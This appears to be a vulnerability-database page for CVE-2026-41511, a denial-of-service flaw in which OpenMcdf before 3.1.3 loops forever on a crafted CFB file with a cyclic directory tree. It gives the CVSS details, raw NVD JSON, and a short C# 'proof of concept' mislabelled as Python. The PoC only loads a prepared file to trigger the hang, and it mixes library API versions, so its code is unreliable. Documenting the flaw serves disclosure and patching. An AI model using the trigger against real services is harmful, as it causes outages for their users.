Security Vulnerability Report
中文
CVE-2026-41511 CVSS 6.2 MEDIUM

CVE-2026-41511

Published: 2026-05-08 19:16:31
Last Modified: 2026-05-11 20:25:42

Description

OpenMcdf is a fully .NET / C# library to manipulate Compound File Binary File Format files, also known as Structured Storage. Prior to version 3.1.3, OpenMcdf does not detect cycles in the directory entry red-black tree of a Compound File Binary (CFB) document. A crafted CFB file with a cycle in the LeftSiblingID / RightSiblingID chain causes Storage.EnumerateEntries() and Storage.OpenStream() to loop indefinitely, consuming the calling thread with no possibility of recovery via try/catch. This issue has been patched in version 3.1.3.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

OpenMcdf < 3.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-41511 * This code demonstrates the vulnerability trigger in OpenMcdf < 3.1.3 * Requires a crafted CFB file with a cycle in the directory tree. */ using System; using System.IO; using OpenMcdf; namespace PoC_CVE_2026_41511 { class Program { static void Main(string[] args) { // Path to the maliciously crafted CFB file string maliciousFilePath = "exploit.cfb"; // Check if file exists if (!File.Exists(maliciousFilePath)) { Console.WriteLine("[!] Error: File 'exploit.cfb' not found."); Console.WriteLine("[!] Please create a CFB file with a cycle in the directory entry tree."); return; } try { Console.WriteLine("[*] Attempting to load malicious file..."); // Load the file using the vulnerable library using (CompoundFile cf = new CompoundFile(maliciousFilePath)) { CFStorage root = cf.RootStorage; Console.WriteLine("[*] Triggering infinite loop via EnumerateEntries..."); // This call will cause the infinite loop (DoS) root.EnumerateEntries(); // Alternatively, opening a stream can also trigger it depending on the tree structure // var stream = root.OpenStream("test"); } } catch (Exception ex) { Console.WriteLine("[+] Exception caught: " + ex.Message); // Note: In the vulnerable version, the infinite loop prevents this catch block from being reached. } } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41511", "sourceIdentifier": "[email protected]", "published": "2026-05-08T19:16:31.363", "lastModified": "2026-05-11T20:25:42.103", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenMcdf is a fully .NET / C# library to manipulate Compound File Binary File Format files, also known as Structured Storage. Prior to version 3.1.3, OpenMcdf does not detect cycles in the directory entry red-black tree of a Compound File Binary (CFB) document. A crafted CFB file with a cycle in the LeftSiblingID / RightSiblingID chain causes Storage.EnumerateEntries() and Storage.OpenStream() to loop indefinitely, consuming the calling thread with no possibility of recovery via try/catch. This issue has been patched in version 3.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "references": [{"url": "https://github.com/openmcdf/openmcdf/commit/24f445a557fc4f46461cf6d02d296cce16c293a0", "source": "[email protected]"}, {"url": "https://github.com/openmcdf/openmcdf/releases/tag/v3.1.3", "source": "[email protected]"}, {"url": "https://github.com/openmcdf/openmcdf/security/advisories/GHSA-jxpf-xq2m-q525", "source": "[email protected]"}, {"url": "https://github.com/openmcdf/openmcdf/security/advisories/GHSA-jxpf-xq2m-q525", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}